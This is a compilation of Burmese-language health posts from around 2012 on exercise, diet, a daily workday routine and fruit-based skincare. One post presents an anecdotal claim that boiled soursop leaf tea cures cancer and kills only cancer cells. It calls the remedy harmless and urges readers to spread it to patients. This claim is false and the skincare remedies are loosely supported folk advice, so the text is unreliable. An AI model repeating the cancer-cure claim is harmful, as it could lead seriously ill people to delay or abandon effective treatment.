ေလ့က်င့္ခန္းလုပ္ဖို႔ အခ်ိန္ကိုတိုး ရတာမ်ိဳးမဟုတ္ပါဘူး။ ေလ့က်င့္ခန္းျပဳ လုပ္ခ်ိန္ မိနစ္ ၃၀ မွာ အရင္က သံုးမိုင္ ေလာက္လမ္းေလွ်ာက္ႏိုင္ခဲ့ တယ္ ဆိုရင္ ေလ့က်င့္ခ်ိန္ၾကာလာတာနဲ႔အမွ် မိနစ္ ၃၀ မွာ ေလးမိုင္၊ ငါးမိုင္ေလာက္ထိ တိုးလာ တာမ်ိဳးကို ေလ့က်င့္ခန္း အဆင့္ျမင့္လာ တယ္လို႔ဆို ပါတယ္ ။ေလ့က်င့္ခန္းျပဳလုပ္လို႔ ကုန္ဆံုးသြားတဲ့ေခြ်းေတြ အတြက္ေရအလံုအေလာက္ျပန္ လည္ေသာက္သံုးၿပီးေရဓာတ္ ခန္းေျခာက္မႈမျဖစ္ေအာင္ ကာကြယ္ေပးပါ။
အစာမျဖတ္ပါနဲ့
ကိုယ္အေလးခ်ိန္တက္မွာစိုးလို႔ အစာလံုးဝမစားေတာ့ဘဲ ျဖတ္ေတာက္ လိုက္တာမ်ိဳးေတာ့ မလုပ္သင့္ပါဘူး။ ပံု မွန္စားသင့္တဲ့ အာဟာရကိုေတာ့ စားသံုး ေပး ပါ။ ကိုယ္အေလးခ်ိန္က်ေစတဲ့ ေဆး ဝါးေတြကို မသံုးဘဲ ကယ္လိုရီေလွ်ာ့ထား ၿပီး ကိုယ္အေလးခ်ိန္ခ်ခ်င္သူေတြအ တြက္အထူးျပဳလုပ္ထားတဲ့ အစားအ စာ ေတြကိုေတာ့ စားေပးလို႔ရပါတယ္။
တက္ၾကြစြာေနထိုင္ပါ
လုပ္ငန္းခြင္နဲ႔ သင္ေနထိုင္တဲ့ပတ္ ဝန္းက်င္မွာ တက္ၾကြတဲ့ဟန္ပန္နဲ႔အတူ ေပါ့ပါးစြာေနထိုင္ပါ။ ေန႔လယ္စာစားၿပီး ခ်ိန္မွာ ႐ံုးပတ္ဝန္းက်င္နားမ်ာ ခဏတာ လမ္းေလွ်ာက္တာမ်ိဳး၊ ေလွကားသံုးၿပီး တက္တာမ်ိဳး၊ ဖုန္းရွိရာကို လမ္းေလွ်ာက္ ၿပီး သြားေျပာတာမ်ိဳးေတြနဲ႔ ကိုယ္လက္ လႈပ္ရွားမႈရေအာင္ယူပါ။ ထိုင္ခံုမွာ အ ထိုင္မ်ားေနၿပီဆိုရင္လည္း အေၾကာဆန္႔ ေလ့က်င့္ခန္းလိုမ်ိဳးေတြကို ျပဳလုပ္ေလ့ က်င့္ေပးပါ။
သဲသဲ
Ref: By Good Health
Source: http://yoolay.com/health/therapy/25141-2012-04-07-11-07-38
>>>ဆက္ဖတ္ရန္>>> >>

ကင္ဆာေရာဂါအတြက္ ဒူးရင္းၾသဇာ

by Health Articles on Thursday, July 5, 2012 at 1:25pm ·


ကၽြန္မတုိ႔ရံုးႏွစ္ပတ္လည္အစည္းေ၀းအတြက္ ႏိုင္ငံအသီးသီးကတက္ေရာက္လာတဲ့ ကုိယ္စားလွယ္ေတြ ထဲမွာ တစ္ေယာက္ကၽြန္မေတြ႔ေတာ့ ေတာ္ေတာ္အံ့အားသင့္သြားတယ္။ ဒီႏွစ္စမွာဘဲ ေဆးစစ္တဲ့အခါ ကင္ဆာလို႔ အေျဖ ထြက္ၿပီး ကၽြန္မတို႔တစ္ေတြ စိတ္မေကာင္းျဖစ္ေနခဲ့တာပါ။ အခုျပန္ေတြ႔ေတာ့ လန္းဆန္းက်မ္းမာ တက္ၾကြ ေနေတာ့ စကားစျမည္ေျပာရင္းနဲ႔ ေဆးနည္းေလး တစ္ခုရလာတာ ကို ေ၀မွ်ျခင္လို႔ပါ။
အခုတစ္ေလာ ကင္ဆာ ဆုိတာနဲ႔ လူေတြကလန္႔ေနၾကပါပီ။ ခီမိုသြင္းရတာနဲ႔ မိသားစု၀င္ေတြ စိတ္ပင္ပန္း ၾကတာနဲ႔ ရုတ္တရက္ ေသဆံုးသြားတာ နဲ႔ ဒါေၾကာင့္ ကၽြန္မတို႔ရံုးက အန္တီဆိုရင္ သူ႔ကင္ဆာျဖစ္တာ သူမ်ားကို မသိေစခ်င္ဘူး၊ သူမ်ားေတြသူ႔ကိုေသလူလို႔ ၾကည့္ေနတဲ့အၾကည့္ေတြမခံႏိုင္ဘူး ဆိုပီးရင္ဖြင့္ ရွာပါတယ္။ ကၽြန္မ ရဲ႔ အခ်စ္ဆံုး ၾကီးၾကီး လဲ ကင္ဆာနဲ႔ဆံုးသြားသလို အမလိုခင္မင္ၿပီးခ်စ္ရတဲ့ ေရွ႕ေနမမ တစ္ေယာက္လဲ ကင္ဆာနဲ႔ ဘ၀ဆံုးသြားရရွာပါတယ္။ အထူးသျဖင့္ ကၽြန္မတို႔မိသားစု နဲ႔ ႏွစ္အိမ္တစ္အိမ္လိုျဖစ္ေနတဲ့ မိုးေကာင္းက အန္တီနဲ႔အန္ကယ္လဲ ကင္ဆာနဲ႔ဘဲဆံုးပါးသြားၾကတယ္။
အရင္ကေတာ့ ပန္းခါး ဆိုတာအရမ္းကုိ နာမည္ၾကီးတယ္။ ပန္းပင္ အေျခာက္ေလးေတြကို ေရေႏြးၾကမ္းလို လုပ္ေသာက္ရတာပါ၊ အရမ္းကိုခါးေတာ့ ကၽြန္မေတာင္စမ္းေသာက္ၾကည့္ပီးတြန္႔သြားတာနဲ႔ မေသာက္ ျဖစ္ေတာ့ပါဘူး။ ခီမိုသြင္းထားတဲ့လူနာေတြဆို ခံတြင္းထဲဘာထည့္ထည့္အရသာမရွိေတာ့ဘူး။ အရမ္းလဲ သနားဖို႔ ေကာင္းပါတယ္။ ကင္ဆာေရာဂါျဖစ္ေနသူမ်ားအတြက္သတင္းေကာင္းပါ။ အရသာလဲ မဆိုးတဲ့ ဘဘာ၀ အသီးပင္ရဲ႕ အရြက္ကုိျပဳတ္ေသာက္ရံုတင္နဲ႔ ကင္ဆာေရာဂါကို ေပ်ာက္ကင္းသက္ သာေစတာ ကၽြန္မမ်က္စိေရွ႔မွာတင္ ၄ ေယာက္ေလာက္ေတြ႕ခဲ့လို႔ ရဲရဲၾကီးမွ်ေ၀လိုက္ပါတယ္။
ေဆးပညာအေၾကာင္းအစံုလင္နားမလည္ေပမယ့္ ခီမိုသြင္းတာ ကင္ဆာ cell အေကာင္းေရာအဆိုးပါ သတ္ပစ္ တာျဖစ္ပီး ဒီဒူးရင္းၾသဇာအရြက္ျပဳတ္ရည္ရဲ႕ အာနိသင္ကေတာ့ ကင္ဆာ ဆဲလ္ ခ်ည္းသတ္သတ္ကိုသာ သတ္ပစ္ တယ္လို႔ ရွင္းျပပါတယ္။
ကၽြန္မညီမေလးေက်ာင္းက ပေရာ္ဖက္ဆာကေတာ့ လူတိုင္းေတာ့ ေပ်ာက္ႏိုင္မွာမဟုတ္ဘူး၊ တစ္ေယာက္နဲ႔ တစ္ေယာက္ ကင္ဆာျဖစ္ပံုအမ်ိဳးစားျခင္းမတူသလို ခႏၱာကိုယ္က တုံ႕ျပန္ပံုျခင္းလဲမတူႏိုင္ပါဘူးလို႔ ဆိုပါတယ္။ ဒါေပမယ့္ ကၽြန္မအၾကံေပးျခင္တာကေတာ့ အနည္းနဲ႔အမ်ား ေပ်ာက္သြားသည္ျဖစ္ေစ သက္သာသြားသည္ ျဖစ္ေစ အႏၱရယ္မရွိတာမို႔ စမ္းေသာက္ၾကည့္ၾကဖို႔တိုက္တြန္းပါရေစ။ ကိုယ္နဲ႔သိတဲ့ မိတ္ေဆြ သူငယ္ခ်င္း ေဆြမ်ိဳးသားျခင္း မ်ားမွာလဲ ကင္ဆာေရာဂါရွိတဲ့သူမ်ားရွိရင္ ထပ္ဆင့္ ေ၀ဌေပးၾကပါ။

Posted by မင္းမင္းေဇာ္
Facbook ၿမန္မာ့ေဆးၿမီးတို Group မွ မာံသူ ရိႏၵ ေရးသားထားေသာ ေဆးနည္းကို ၿပန္လည္ မွ်ေဝ လိုက္ပါတယ္။
Source: http://myanmarinsingapore.com/profiles/blogs/2316969:BlogPost:323140
>>>ဆက္ဖတ္ရန္>>> >>

အလုပ္ထဲမွာ စြမ္းအင္အျပည့္ရွိေနေစမည့္ တစ္ေန႔တာ ေနထိုင္မႈပံုစံ

by Health Articles on Tuesday, July 24, 2012 at 10:39am ·



လုပ္ငန္း ခြင္ထဲ တစ္ေနကုန္ အလုပ္လုပ္ရာမွာ အလုပ္ လည္းတြင္၊ စြမ္းအင္လည္း ျပည္႕ဝ၊ လန္းဆန္း မႈလည္း အျပည္႕ ရွိေနေစဖို႔ ကြ်မ္းက်င္သူေတြက နာရီအပိုင္းအျခားအလိုက္ ဘယ္လိုျဖတ္သန္းသင္႔ တယ္ဆိုတာကို အႀကံျပဳထားပါတယ္။

နံနက္ ၆နာရီ အိပ္ရာထခ်ိန္
ႀကိဳးစားပါ - တကယ္ႏိုးထသင့္တဲ့ အခ်ိန္ထက္ ၁၅ မိနစ္ေစာၿပီး ႏိႈးစက္ေပးထားပါ။ ဒါဆိုရင္ အိပ္ရာက ဝုန္းခနဲ ထစရာမလိုဘဲ စိတ္ေရာ ခႏၶာကိုယ္ကိုပါ သက္ေတာင့္သက္သာရွိရွိ ႏိုးထႏိုင္ပါလိမ့္မယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - အခန္းကို ကန္႔လန္႔ကာ ပါးပါးခ်ၿပီး အိပ္ပါ။ နံနက္ ေနျခည္ႏုႏုထြက္လာခ်ိန္မွာ ဦးေႏွာက္မွ အိပ္စက္မႈဆိုင္ရာ မယ္လတိုနင္ေဟာ္မုန္းထြက္ႏႈန္းကို ေလ်ာ့က်ေစၿပီး ႏိုးၾကားေစတဲ့ အဒရီနယ္လင္ေဟာ္မုန္း စတင္ထြက္ရွိလာပါလိမ့္မယ္။ဒါေၾကာင့္ႏိႈးစက္ ပိတ္လိုက္တဲ့အခ်ိန္မွာ သင့္ခႏၶာ ကိုယ္က တစ္ဝက္ႏိုးၾကားၿပီး ျဖစ္ေနပါလိမ့္မယ္။

နံနက္ ၇နာရီ အျပင္မထြက္ခင္
ႀကိဳးစားပါ - ဇီဝ႐ုပ္ျဖစ္ပ်က္မႈကို စတင္လုပ္ေဆာင္ႏိုင္ေစဖို႔ နံနက္စာစားေပးပါ။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - နံနက္စာအျဖစ္ ပန္းသီး၊ အခြံမာတဲ့အေစ့အဆန္နဲ႔ ေပါင္မုန္႔ညိဳတစ္ခ်ပ္ကို စားေပးရင္ေတာင္ ကယ္လ္စီယမ္နဲ႔ ပ႐ိုတင္းဓာတ္တို႔ရရွိကာ တစ္ေန႔လံုး စြမ္းအင္ျပည့္ဝ ေနပါလိမ့္မယ္။

နံနက္ ၈နာရီ အလုပ္သြားရာ လမ္းမွာ
ႀကိဳးစားပါ - ႐ံုးနဲ႔ နီးနီးမွာ ေနထိုင္သူေတြအေနန ဲ႔ ႐ံုးကုိ လမ္းေလွ်ာကၿ္ပီး သြားသင့္ပါတယ္။ ဒီလို လမ္းေလွ်ာက္သြားတာေၾကာင့္ စိတ္ဖိစီးမႈကို ေလ်ာ့က်ေစၿပီး ေမာပန္းႏြမ္းနယ္မႈ ေျပေပ်ာက္ေစကာ ဖ်ားနာႏိုင္ေျခ ေလ်ာ့ပါးေၾကာင္း ေလ့လာသူေတြက ဆိုပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - လမ္းေလွ်ာက္သြားလို႔ မရရင္ ဘတ္စကားေပၚ ဒါမွမဟုတ္ ရထားေပၚထိုင္ရင္း၊ ရပ္ရင္း တရားမွတ္ေပးပါ။ စိတ္ဖိစီးမႈကို ေျပေလ်ာ့ေစပါတယ္။

နံနက္ ၉နာရီ အစီအစဥ္က်ေစရန္ အခ်ိန္နည္းနည္းယူပါ
ႀကိဳးစားပါ - ႐ႈပ္ပြေနတဲ့ စားပြဲခံုဟာ စိတ္ဖိစီးမႈ ပိုျဖစ္ေစပါတယ္။ အဲဒီစားပြဲခံုကိုရွင္းဖို႔ အခ်ိန္ကလည္း မရွိေလာက္ေအာင္ မ်ားေနတယ္ဆိုရင္ အလုပ္ကိုေရာက္ေရာက္ခ်င္း ရွင္းပါ။ ၿပီးရင္ တစ္ေန႔တာလုပ္စရာ ရွိတာေတြကို စာရင္းေရးမွတ္ထားသင့္ပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - အီးေမးအသံုးမျပဳခင္ စာရြက္ေတြစီဖို႔၊ ရွင္းလင္းဖို႔ တစ္မိနစ္-ငါးမိနစ္ခန္႔ အခ်ိန္ယူပါ။

နံနက္ ၁၀ နာရီ ေကာ္ဖီေသာက္ခ်ိန္လား
ႀကိဳးစားပါ - ေကာ္ဖီကို အလုပ္တြင္က်ယ္ေစတဲ့ ေဆးလို႔ ဟားဗတ္ေဆးေက်ာင္းက ပါေမာကၡ တစ္ဦးက ဆိုပါတယ္။ ေကာ္ဖီကို မ်ားမ်ား ေသာက္ရင္ေတာ့ စိတ္ဖိစီးမႈကို ျဖစ္ေစႏိုင္ၿပီး တခ်ိဳ႕လူေတြမွာ ရင္တုန္တတ္ပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - နံနက္ ၁၀နာရီက ေကာ္ဖီတစ္ခြက္ ေသာက္သင့္တဲ့ အခ်ိန္ပါပဲ။ ေကာ္ဖီေၾကာင့္ လန္းဆန္းကာ နံနက္ခင္း လုပ္စရာ ကိုင္စရာ ကိစၥမွန္သမွ် အျမန္ ၿပီးေျမာက္ေစပါတယ္။

နံနက္ ၁၁ နာရီ သေရစာ မစားပါႏွင္႔
ႀကိဳးစားပါ - ဒီအခ်ိန္မွာ သေရစာကို ႀကိတ္ဝါး စားေသာက္ခ်င္စိတ္ ျဖစ္ေပၚတတ္ေပမယ့္ သေရစာစားတာေၾကာင့္ စြမ္းအင္ အဆင့္တက္လာမွာ မဟုတ္ပါဘူး။ ကိုယ္အေလး ခ်ိန္ေလ်ာ့က်ေရးကိုေတာင္ အဟန္႔အတားျဖစ္ေစတယ္လို႔ လတ္တေလာ ေလ့လာမႈတစ္ရပ္က ဆိုပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - နံနက္စာစားၿပီး သေရစာထပ္စားတာက ေန႔လယ္စာ စားခ်ိန္ ကို ေနာက္က် ေစပါတယ္။ အစာစားခ်ိန္ တစ္ခ်ိန္နဲ႔ တစ္ခ်ိန္ၾကား အနည္းဆံုး သံုးနာရီျခား သင့္ၿပီး ငါးနာရီ ထက္ မေက်ာ္ေစသင့္ဘူးလို႔ ကြ်မ္းက်င္သူေတြက အႀကံျပဳထားပါတယ္။

ေန႔လယ္ ၁၂ နာရီမွ ၁ နာရီ ေန့လယ္စာစားခ်ိန္
ႀကိဳးစားပါ - အလုပ္စားပြဲမွာ ထမင္းမစားပါနဲ႔။ တစ္ေန႔လံုး အလုပ္စားပြဲမွာ ထိုင္တာက စြမ္းအင္ကို ယုတ္ေလ်ာ့ေစကာ ပ်င္းရိၿငီးေငြ႕လာေစပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - ေန႔လယ္စာစားၿပီး မိနစ္ ၂၀ ေလာက္ လမ္းေလွ်ာက္ေပးတာက ဒိုပါမင္း၊ ေနာ္အက္ပီနက္ဖရင္းနဲ႔ဆီ႐ိုတိုနင္အဆင့္ကိုအားေကာင္းေစပါတယ္။အလုပ္ကို ျပန္ဝင္တဲ့အခါမွာ လည္း စြမ္းအင္ပိုရွိေနေစပါတယ္။

ေန႔လယ္ ၂ နာရီ တစ္ေရးအိပ္ပါ
ႀကိဳးစားပါ - မ်က္လံုးေတြကို ခဏတာေမွးမွိတ္ၿပီး အနားေပးပါ။ အိမ္သာတက္ခ်ိန္ ဒါမွမဟုတ္ ေကာ္ဖီတည္ခ်ိန္ေတြထက္ အခ်ိန္ပိုၾကာၾကာမေပးရဘဲ စြမ္းအင္ ျပည့္လာေစပါလိမ့္မယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - ကာကြယ္ေရးဆိုင္ရာ ေလ့လာမႈ တစ္ရပ္အရ ေန႔လယ္ ၂ နာရီမွာ ၁၀ မိနစ္ ခန္႔ အနားေပးတာက က်န္တဲ့ တစ္ညေနခင္းလံုး စြမ္းအင္တိုးေနပါလိမ့္မယ္။

ညေန ၃ နာရီ မ်က္စိကို စစ္ေဆးပါ
ႀကိဳးစားပါ - ဒီအခ်ိန္မွာ သင့္မ်က္စိေတြအရမ္းကို ပင္ပန္းေညာင္းညာေနႏိုင္ပါတယ္။ သင္လည္း ႏြမ္းနယ္ေနႏိုင္ပါတယ္။ ဒါေၾကာင့္ မတ္တတ္ရပ္ၿပီး ေရေသာက္ရင္း ျပန္လည္ လန္းဆန္းေအာင္ ႀကိဳးစားသင့္ပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - ၂၀-၂၀ စည္းမ်ဥ္းကို လိုက္နာပါ။ ဆိုလိုတာက မိနစ္ ၂၀ ၾကာတိုင္း သင့္ကြန္ပ်ဴတာ ေမာ္နီတာနဲ႔ ၂၀ ေပ အကြာရွိတစ္စံုတစ္ခု (အစိမ္းေရာင္ဆိုရင္ ပိုေကာင္းပါတယ္) ကို စကၠန္႔ ၂၀ ခန္႔ ၾကည့္ေပးရမွာပါ။

ညေန ၄ နာရီ အေၾကာေလွ်ာ့ပါ
ႀကိဳးစားပါ -အလုပ္စားပြဲမွာ အျမန္လုပ္ ႏိုင္တဲ့ လြယ္ကူတဲ့ အေၾကာေလွ်ာ့နည္းေတြအမ်ားႀကီး ရွိပါတယ္။ ဒီအေၾကာေလွ်ာ့နည္းေတြက အလုပ္ကို အာ႐ံုစူးစိုက္မႈ ေကာင္းေစမယ့္နည္းေတြပါ။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - ခႏၶာကိုယ္ကို ဆြဲဆန္႔ႏိုင္တဲ့ အေၾကာေလွ်ာ့နည္းေတြကို လုပ္ေဆာင္ေပးပါ။

ညေန ၅ နာရီ စိတ္ကို ေလွ်ာ့ခ်လိုက္ပါ
ႀကိဳးစားပါ -အလုပ္ဆင္းခ်ိန္ ငါးနာရီ ဒါမွမဟုတ္ ငါးနာရီခြဲမွာ ျပန္ဖို႔ ျပင္ဆင္သင့္ပါၿပီ။ တစ္ေန႔ ရွစ္နာရီထက္ ပိုၿပီးအခ်ိန္ပိုလုပ္တာက ကိုယ္ခံစြမ္းအားစနစ္ကို ထိခိုက္ေစတာေၾကာင့္ ေနာက္ဆက္တြဲအေနနဲ႔ ျပင္းထန္တဲ့ က်န္းမာေရးျပႆနာေတြကို ျဖစ္ေစႏိုင္ပါတယ္။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - စိတ္ကို ေျဖေလွ်ာ့ၿပီး အိမ္ျပန္ဖို႔ျပင္ဆင္ပါ။ အိမ္ျပန္ခ်င္ေဇာနဲ႔ အျမန္အေျပးအလႊား မျပန္ပါနဲ႔။ လုပ္ေဖာ္ကိုင္ဖက္ေတြနဲ႔ စကားေျပာလိုက္၊ ရယ္ေမာလိုက္လုပ္ရင္း အိမ္ျပန္ပါ။

ညေန ၅-၆ နာရီ အိမ္အျပန္လမ္းမွာ
ႀကိဳးစားပါ - သင္က ေတးသီခ်င္းေတြကို ခ်စ္တတ္သူဆိုရင္ နားၾကပ္တပ္ကာ ေတးသီခ်င္းနားဆင္ရင္း အိမ္ျပန္ပါ။
ကြ်မ္းက်င္သူ၏ အႀကံျပဳခ်က္ - အခုအခ်ိန္က ဖိစီးမႈေတြ ေျဖေလွ်ာ့ၿပီး အပန္းေျဖရမယ့္ အခ်ိန္ပါ။ အိမ္ကအလုပ္နဲ႔ အနီးအနားမွာဆိုရင္ လမ္းေလွ်ာက္ရင္း အပန္းေျဖကာ ျပန္ပါ။

ဇြန္ခုိင္ဦး(ေဆးတကၠသုိလ္)
Ref:Good Health
Source: http://yoolay.com/health/health-article/26470-2012-05-25-08-43-20
>>>ဆက္ဖတ္ရန္>>> >>

သီးကုိးသီး

by Health Articles on Wednesday, July 25, 2012 at 1:42pm ·


**သေဘာၤသီး၊ပန္းသီး၊ေရွာက္သီး၊သခြားသီး၊နာနတ္သီး၊မက္မြန္သီး၊
သလဲသီး၊ငွက္ေပ်ာသီး၊ခရမ္းခ်ဥ္သီး ႏွင္႔ က်နး္မာေရး**

သေဘာၤသီးတြင္ပါ၀င္ေသာ အင္ဇိုင္းမ်ားႏွင္႔ ဗီတာမင္ေအတို႔က အေရျပားအတြက္ အေကာင္းဆံုး သဘာ၀ ေဆးတစ္လက္ျဖစ္ပါတယ္.. အေရျပား လန္းဆန္းေတာက္ပေစဖို႕အတြက္ ေခ်မြထားေသာ သေဘၤာသီးနဲ႔ ရွားေစာင္းလက္ပတ္ ၃ဇြန္းခန္႔ကို အေရျပားေပၚသို႔ ၅မိနစ္ခန္႔ လိမ္း က်ံေပးျပီး ေရႏွင္႔စင္ေအာင္ေဆးေၾကာရပါမယ္.. ၄င္းနည္းကို တစ္ပတ္တစ္ၾကိမ္ ျပဳလုပ္ေပးပါက သန္႔စင္ေတာက္ပေသာ အေရျပားကို ရရွိႏိုင္ပါတယ္.. အေရျပားထိခိုက္လြယ္သူမ်ား ပထမဦးဆံုးအၾကိမ္ စလိမ္လိမ္းခ်င္းမွာ သတိထားျပီး လိမ္းသင္႔ပါတယ္.. အခန္႔မသင္႕ပါက ၄င္းအေရျပားပိုင္ရွင္မ်ားတြင္ အဖုအပိန္႕စေသာ လကၡဏာမ်ား ျဖစ္ေပၚတတ္ပါတယ္..

ပန္းသီးဟာ အသားအေရးကို လန္းဆန္းေစႏိုင္တဲ႔အစြမ္း ရွိတာေၾကာင္႔ Toner နဲ႕ Conditioner အျဖစ္ အသံုး၀င္ပါတယ္.. အေရျပားကို ကုစားေပးႏိုင္စြမ္းရွိတာေၾကာင္႔ အလွကုန္ပစၥည္းမ်ားထဲတြင္ လြန္ခဲ႕ေသာ ႏွစ္ေပါင္းမ်ားစြာကပင္ ထည္႔သြင္းေဖာ္စပ္ခဲ႕ၾကပါတယ္.. မိမိခ်ိဳးမည္႔ေရထဲသို႔ ပန္းသီးရည္ တစ္ခြက္ခန္႔ ေပါင္းစပ္ကာ ေရခ်ိဳးပါက အသားအေရကို သန္႔ရွင္းစင္ၾကယ္ေစျပီး အေရျပား ကို ႏူးညံ႕ ေပ်ာ႔ေျပာင္းေစႏိုင္ေၾကာင္း သိရပါတယ္.. ထို႔ျပင္ ပန္းသီးအရည္ဟာ ဦးေရျပားတြင္ျဖစ္ တတ္ေသာ ေဗာက္မ်ားကို ကာကြယ္ေပးႏုိင္စြမ္းရွိပါတယ္.. ေခါင္းေလွ်ာ္ျပီးေနာက္ ပန္းသီးရည္ကို ဦးေရျပား တြင္ သုတ္လိမ္းျပီး ေရစင္ေအာင္ေဆးပါက ေဗာက္မ်ားကို ကင္းစင္ေစႏုိင္စြမ္း ရွိပါတယ္.. မ်က္ႏွာျပင္ေပၚ တြင္ျဖစ္တတ္ေသာ ၀က္ျခံမ်ားကိုလည္း ပန္းသီးရည္က ကာကြယ္ေပးႏိုင္တယ္လို႔ သိရပါတယ္။

အလွအပအတြက္ မပါမျဖစ္ အသီးအႏွံတစ္မ်ိဳး ျဖစ္ပါတယ္.. ေရွာက္သီးဟာ အေရျပားနဲ႔ ဆံပင္ကို လန္းဆန္းေစတယ္.. သန္႔စင္ေစႏိုင္ပါတယ္.. ေျခာက္ေသြ႔ၾကမ္းတမ္းေနတဲ႔ အေရျပားနဲ႕ တံေတာင္ ဆစ္နဲ႕ ေျခဖေနာင္႕က အသားမာေတြကိုလည္း ေရွာက္သီး ျဖင္႔ ပြတ္တိုက္ေပးပါက အေရျပား မ်ား ႏူးညံ႕သန္႔စင္ေစလာႏိုင္ပါတယ္.. ေရခ်ိဳးေသာအေခါ ခ်ိဳးေရထဲသို႔ ေရွာက္ရည္ အနည္းငယ္ေရာစပ္၍ ခ်ိဳးေပးပါက တစ္ေန႔တာလံုး လန္းဆန္း တက္ၾကြေစႏုိင္တယ္လို႔ ဆိုပါတယ္.. ဦးေရျပားကိုလည္း သန္႔စင္ေစႏိုင္စြမ္းရွိတာေၾကာင္႔ ေခါင္းေလွ်ာ္တိုင္း ေရွာက္ရည္၊သံပုရာရည္ လိမ္းက်ံ ကာ ႏွိပ္နယ္ျပီးမွ ေရစင္ေအာင္ေဆးခ်လိုက္ပါက ဦးေရျပားသန္႔စင္ကာ ေဗာက္မ်ား ကင္းစင္ႏိုင္ေစပါတယ္.. အမာရြတ္မ်ား ထင္က်န္ေနခဲ႕ပါက ေရွာက္သီး(သို႔) သံပုရာသီးျဖင္႔ ပြတ္တိုက္ေပးပါက ထင္ေနေသာ အမာရြတ္မ်ား၊ အမဲစက္မ်ားကို လွ်င္ျမန္စြာ ေပ်ာက္ကင္းသြားေစႏိုင္ေၾကာင္းလည္း သိရပါတယ္..

သခြားသီးသည္လည္း ဗီတာမင္ႏွင္႔ သတၱဳဓာတ္မ်ား ၾကြယ္၀ျခင္းေၾကာင္႔ အေရျပားကို သန္႔စင္ေစျခင္း ေသြးလွည္ပတ္မႈအားေကာင္းေစျခင္း၊ အသားအေရကို စုိစြတ္ေခ်ာေမြ႕ေစျခင္း၊ အေရျပားတြန္႔ျခင္း၊ အေရးအေၾကာင္းမ်ား ျဖစ္ေပၚျခင္းကို သက္သာေစျခင္း စသည္တို႔အတြက္ အထူးေကာင္းမြန္ေစပါတယ္… အဆီျပန္တတ္သူမ်ားအတြက္လည္း ေခၽြးေပါက္မ်ားကိုက်ဥ္းေစရန္ အသံုးျပဳႏိုင္ပါတယ္။ ညအိပ္ရာ၀င္ခ်ိန္တြင္ သခြားသီးကို ပါးပါးလႊာ၍ မ်က္ႏွာေပၚတြင္ ၁၅မိနစ္ခန္႔ ဖံုးအုပ္ထားျပီး ေရစင္ေအာင္ေဆးလိုက္ပါ.. ထိုသို႔ ပံုမွန္ျပဳလုပ္ပါက ႏူးညံ႕ေတာက္ပေနေသာ မ်က္ႏွာျပင္ေလးကို စိတ္ေက်နပ္ဖြယ္ေတြ႕ရွိရမွာ ျဖစ္ပါတယ္.. သခြားသီးကို ႏြားႏို႕ႏွင္႕ ေရာေမႊ၍ မ်က္ႏွာေပါင္းတင္ေဆးအျဖစ္လည္းအသံုးျပဳႏိုင္ျပီးမ်က္ႏွာျပင္ကို ႏူးညံ႕သန္႔စင္ေစျပီး ေခၽြးေပါက္မ်ားကိုလည္း က်ဥ္းေစႏိုင္ပါတယ္..
မက္မြန္သီးသည္လည္း အေရျပားအတြက္ အလြန္ေကာင္းမြန္ေသာ အစြမ္းထက္ သဘာ၀ပစၥည္းျဖစ္ ပါတယ္.. ေျခာက္ေသြ႔ေသာ အသားအေရပိုင္ရွင္မ်ားအတြက္ မက္မြန္သီးနဲ႔ ဒိန္ခ်ဥ္တို႔ကို ေရာစပ္၍ မ်က္ႏွာေပၚတြင္ေပါင္းတင္ေပးႏိုင္ပါတယ္..မိနစ္၂၀ခန္႔ထားျပီး ေရခပ္ေႏြးေႏြးျဖင္႕ ေဆးေၾကာသန္႔စင္ျပီးတဲ႔ အခါ ထူးထူးျခားျခား ႏူးညံ႔စိုေျပလွပေသာ မ်က္ႏွာအလွကို ပိုင္ဆိုင္ႏိုင္ေၾကာင္း သိရပါတယ္…. မက္မြန္သီးမွာဗီတာမင္ ေအႏွင္႔စီပါရွိျခင္းေၾကာင္႔ အေရျပားကို ေတာက္ပေစျခင္း၊ ႏူးညံ႔ေပ်ာ႔ေျပာင္းေစျခင္း၊ အမဲစက္မ်ားကို ေလ်ာ႕ပါးေစျခင္း၊ ေရဓာတ္ကို ျဖည္႔တင္းေပးျခင္း စေသာ အစြမ္းသတိၱမ်ားေၾကာင္႕ အလွအပပစၥည္းမ်ားတြင္ တြယ္က်ယ္စြာ အသံုးျပဳၾကပါတယ္..

သေဘၤာသီးကဲ႔သို႔ပင္နာနတ္သီးသည္လည္းအေရျပားကို ႏုညံ႕ေပ်ာ႕ေျပာင္းေစကာ ေျခာက္ေသြ႔ထိုင္းမိႈင္း   ေသာ အသားအေရမ်ားကိုပင္ စိုေျပကာ ႏုပ်ိဳသစ္လြင္လာေစႏိုင္ေသာ အစြမ္းသတၱိမ်ားရွိေၾကာင္း သိရပါတယ္.. နာနတ္သီးအလႊာမ်ားကို ၾကမ္းတမ္းေသာ အေရျပားေနရာမ်ားျဖစ္သည္႕ ဒူးေခါင္း၊ တံေတာင္ဆစ္၊ ေျခဖေနာင္႔ ၊ ေျခမ်က္စိတို႔တြင္ ပြတ္တိုက္ေပးပါက အသားမာမ်ား ကို ႏုညံ႕ေပ်ာ႔ေျပာင္းလာေစႏိုင္ပါသည္။ ေရခ်ိဳးေသာအခါတြင္လည္း ခႏၶာကိုယ္အား နာနတ္သီးလႊာျဖင္႔ ပြတ္တိုက္ေပးပါက ႏုညံ႕သန္႔စင္ေသာ အေရျပားကို ရရွိေစႏိုင္ပါတယ္…
